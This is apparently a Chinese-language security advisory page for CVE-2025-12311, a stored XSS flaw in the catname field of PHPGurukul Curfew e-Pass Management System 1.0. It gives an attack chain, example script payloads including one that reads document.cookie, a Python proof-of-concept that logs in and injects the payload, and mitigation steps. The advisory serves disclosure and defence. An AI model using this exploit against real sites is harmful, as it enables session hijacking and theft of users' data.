IPBUF安全漏洞报告
English
CVE-2025-12311 CVSS 2.4 低危

CVE-2025-12311 PHPGurukul Curfew e-Pass Management System 存储型XSS漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-12311
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
2.4 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
PHPGurukul Curfew e-Pass Management System 1.0

相关标签

存储型XSSCVE-2025-12311PHPGurukulCurfew e-Pass Management SystemWeb应用安全跨站脚本攻击catname参数注入

漏洞概述

CVE-2025-12311是PHPGurukul公司开发的Curfew e-Pass Management System 1.0版本中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于edit-category-detail.php文件中的catname参数处理逻辑中。由于应用程序未对用户输入进行充分的过滤和转义,攻击者可以在分类名称字段中注入恶意JavaScript代码。当其他用户访问包含该恶意数据的页面时,攻击脚本将在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取、网页篡改等安全问题。由于该漏洞需要高权限用户身份且需要用户交互才能触发,因此CVSS评分仅为2.4,属于低危漏洞。

技术细节

该存储型XSS漏洞位于Curfew e-Pass Management System的edit-category-detail.php文件中的catname参数处理部分。攻击者通过在分类名称(catname)参数中注入恶意JavaScript代码,如<script>alert('XSS')</script>。由于应用程序在后端处理和前端输出时均未对该参数进行适当的输入验证和输出编码,恶意代码会被永久存储在数据库中。当管理员或其他用户访问分类管理页面查看或编辑该分类时,浏览器会解析并执行存储的恶意脚本。攻击者可以利用此漏洞窃取用户会话cookie、进行钓鱼攻击或执行其他客户端恶意操作。修复此类漏洞需要在输入阶段进行严格的白名单验证,在输出阶段对所有用户可控数据进行HTML实体编码转义。

攻击链分析

STEP 1
步骤1
攻击者获取管理员账户访问权限,或通过其他方式获得编辑分类功能的权限
STEP 2
步骤2
攻击者构造恶意XSS payload(如<script>alert(document.cookie)</script>)并提交到edit-category-detail.php的catname参数
STEP 3
步骤3
应用程序将恶意payload未经充分过滤即存储到数据库中
STEP 4
步骤4
当其他用户(如管理员或普通用户)访问分类列表或详情页面时,存储的恶意脚本被浏览器解析执行
STEP 5
步骤5
攻击者通过执行在受害者浏览器上下文中的JavaScript代码,窃取会话Cookie、劫持用户会话或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12311 PoC - Stored XSS in PHPGurukul Curfew e-Pass Management System # Target: edit-category-detail.php def exploit_stored_xss(target_url, username, password, malicious_payload): """ Exploits CVE-2025-12311: Stored XSS via catname parameter Args: target_url: Base URL of the vulnerable application username: Admin username for authentication password: Admin password malicious_payload: XSS payload to inject (e.g., '<script>alert(document.cookie)</script>') Returns: bool: True if exploitation successful, False otherwise """ session = requests.Session() # Step 1: Authentication login_url = f"{target_url}/login.php" login_data = { 'username': username, 'password': password } try: login_response = session.post(login_url, data=login_data, timeout=10) # Step 2: Inject XSS payload via catname parameter edit_category_url = f"{target_url}/edit-category-detail.php" exploit_data = { 'catname': malicious_payload, 'submit': 'Update' } exploit_response = session.post(edit_category_url, data=exploit_data, timeout=10) # Step 3: Verify the XSS is stored and reflected # When victims visit the category page, the XSS will execute if exploit_response.status_code == 200: print(f"[+] XSS payload sent: {malicious_payload}") print(f"[+] Payload stored in catname parameter") print(f"[+] Victims will be affected when viewing category details") return True except requests.RequestException as e: print(f"[-] Error: {e}") return False return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2025-12311.py <target_url> <username> <password> <payload>") print("Example: python cve-2025-12311.py http://target.com admin admin '<script>alert(1)</script>'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] payload = sys.argv[4] exploit_stored_xss(target, user, pwd, payload)

影响范围

PHPGurukul Curfew e-Pass Management System 1.0

防御指南

临时缓解措施
在修复前,可临时采取以下缓解措施:1)限制edit-category-detail.php的访问权限,仅允许可信管理员访问;2)启用Web应用防火墙规则检测和阻止XSS攻击特征;3)对所有用户输入实施严格的输入长度和格式限制;4)监控日志及时发现异常payload注入行为;5)提醒用户不要点击来源不明的链接以降低被攻击风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表